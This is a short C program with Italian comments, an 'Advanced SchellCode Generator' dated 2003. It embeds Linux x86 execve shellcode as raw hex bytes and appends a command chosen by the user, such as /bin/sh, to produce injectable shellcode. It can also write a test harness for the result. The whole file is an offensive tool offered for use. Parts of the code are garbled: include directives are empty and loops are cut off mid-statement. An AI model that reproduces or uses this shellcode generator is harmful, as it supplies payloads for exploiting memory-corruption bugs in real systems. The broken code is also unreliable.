/* ASG - Advanced SchellCode Generator 1.1-1 CODED by R[]l4nD - xrol4nd@hotmail.com REL: 8.8.2003 ASG รจ un generatore di ShellCode personalizzati molto semplice da utilizzare; Compilazione: gcc -o asg asg.c Utilizzo: ./asg [comando][file di prova(opzionale)] [comando]: comando da far eseguire allo shellcode (/bin/sh per una shell) [file di prova(opzionale)]: crea un sorgente c che permette di provare lo shellcode generato. Attenzione! Leggi bene le indicazioni riportate nell'intestazione del file. ES: ./asg /bin/sh prova.c PER QUALSIASI COMMENTO, SUGGERIMENTO O SEGNALAZIONE BUG CONTATTAMI PURE ALL'INDIRIZZO: xrol4nd@hotmail.com */ #include #include #include #define VERSION 1.1-1 #define CODER R[]l4nD char cmd[1024]; const char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" "\xe8\xdc\xff\xff\xff"; //Codice C corrispondente /* void main(){ char *name[2]; name[0] = "comando"; name[1] = 0x0; execve(name[0],name,0x0); } */ void uso(void); void printShell(char str[1024]); void progC(void); void saveFile(char buf[1024], char file[1024]); main(int argc, char *argv[]){ char comando[1024], file[1024], buf[1024]; int n; if ((argc<2) || (argc>3)){ uso(); exit(0); } strncpy(comando,argv[1],sizeof(comando)); if (argc==3) strncpy(file,argv[2],sizeof(file)); strncpy(buf,shellcode,sizeof(buf)); strncat(buf,comando,sizeof(buf)); strncpy(cmd,comando,sizeof(cmd)); printf("\n\tASG - Advanced SchellCode Generator 1.1-1\n" "\tCODED by R[]l4nD - xrol4nd@hotmail.com\n" "\tREL: 8.8.2003\n\n\n"); printf("- Generazione ShellCode in corso...\n"); progC(); printf("\n- Comando da integrare: %s\n", comando); printf("\n- Dimensione puntatore: %d byte\n", strlen(comando)); printf("\n- Dimensione ShellCode: %d byte\n\n\n", strlen(buf)); printf(" char shellcode[]= """); printShell(buf); printf("\n [-]>- Generazione ShellCode completata con successo!\n\n"); if (argc==3) saveFile(buf,file); } //Stampa le istruzioni d'uso void uso(void){ printf("\n"); printf("\tASG - Advanced SchellCode Generator 1.1-1\n" "\tCODED by R[]l4nD - xrol4nd@hotmail.com\n" "\tREL: 8.8.2003\n\n" "\tUSO:\t./asg [comando][file di prova(opzionale)]\n\n"); } //Stampa lo shellcode void printShell(char str[1024]){ int n; printf("\""); for (n=0;n\n\n\n",fp); fprintf(fp," char shellcode[]= """); fprintf(fp,"\""); for (n=0;n- Creazione file di prova completata!\n\n"); } }